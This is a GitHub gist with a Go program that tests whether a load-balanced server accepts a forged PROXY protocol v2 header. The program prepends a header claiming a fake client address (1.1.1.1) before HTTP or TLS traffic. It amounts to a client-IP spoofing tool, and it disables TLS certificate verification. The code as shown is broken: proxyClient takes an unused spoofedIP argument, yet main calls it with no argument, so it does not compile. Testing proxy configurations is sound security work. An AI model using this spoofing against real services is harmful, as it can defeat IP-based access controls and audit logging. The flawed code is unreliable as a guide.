Skip to content

Instantly share code, notes, and snippets.

@dcarley
Last active October 6, 2021 13:05
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save dcarley/417dc12def7526dcbeaa407d92534724 to your computer and use it in GitHub Desktop.
Save dcarley/417dc12def7526dcbeaa407d92534724 to your computer and use it in GitHub Desktop.
PROXY protocol spoof test

Verifying whether the following can be spoofed (source).

Network Load Balancers use proxy protocol version 2 to send additional connection information such as the source and destination. Proxy protocol version 2 provides a binary encoding of the proxy protocol header. The load balancer prepends a proxy protocol header to the TCP data. It does not discard or overwrite any existing data, including any proxy protocol headers sent by the client or any other proxies, load balancers, or servers in the network path. Therefore, it is possible to receive more than one proxy protocol header. Also, if there is another network path to your targets outside of your Network Load Balancer, the first proxy protocol header might not be the one from your Network Load Balancer.

package main
import (
"context"
"crypto/tls"
"io/ioutil"
"log"
"net"
"net/http"
"os"
"time"
proxyproto "github.com/pires/go-proxyproto"
)
func proxyDialer(useTLS bool) func(context.Context, string, string) (net.Conn, error) {
return func(ctx context.Context, network, addr string) (net.Conn, error) {
conn, err := new(net.Dialer).DialContext(ctx, network, addr)
if err != nil {
return nil, err
}
header := &proxyproto.Header{
Version: 2,
Command: proxyproto.PROXY,
TransportProtocol: proxyproto.TCPv4,
SourceAddr: &net.TCPAddr{
IP: net.ParseIP("1.1.1.1"),
Port: 11111,
},
DestinationAddr: &net.TCPAddr{
IP: net.ParseIP("2.2.2.2"),
Port: 22222,
},
}
// Both curl and Nginx appear to agree on the header occuring before the
// TLS handshake.
_, err = header.WriteTo(conn)
if err != nil {
return nil, err
}
if !useTLS {
return conn, nil
}
config := &tls.Config{InsecureSkipVerify: true}
tlsConn := tls.Client(conn, config)
return tlsConn, nil
}
}
func ignoreRedirects(*http.Request, []*http.Request) error {
return http.ErrUseLastResponse
}
func proxyClient(spoofedIP string) *http.Client {
return &http.Client{
Timeout: time.Second,
Transport: &http.Transport{
DialContext: proxyDialer(false),
DialTLSContext: proxyDialer(true),
},
CheckRedirect: ignoreRedirects,
}
}
func main() {
req, err := http.NewRequest("GET", os.Args[1], nil)
if err != nil {
log.Fatal(err)
}
client := proxyClient()
resp, err := client.Do(req)
if err != nil {
log.Fatal(err)
}
defer resp.Body.Close()
log.Printf("%+v\n", resp)
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
log.Fatal(err)
}
log.Printf("%s\n", body)
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment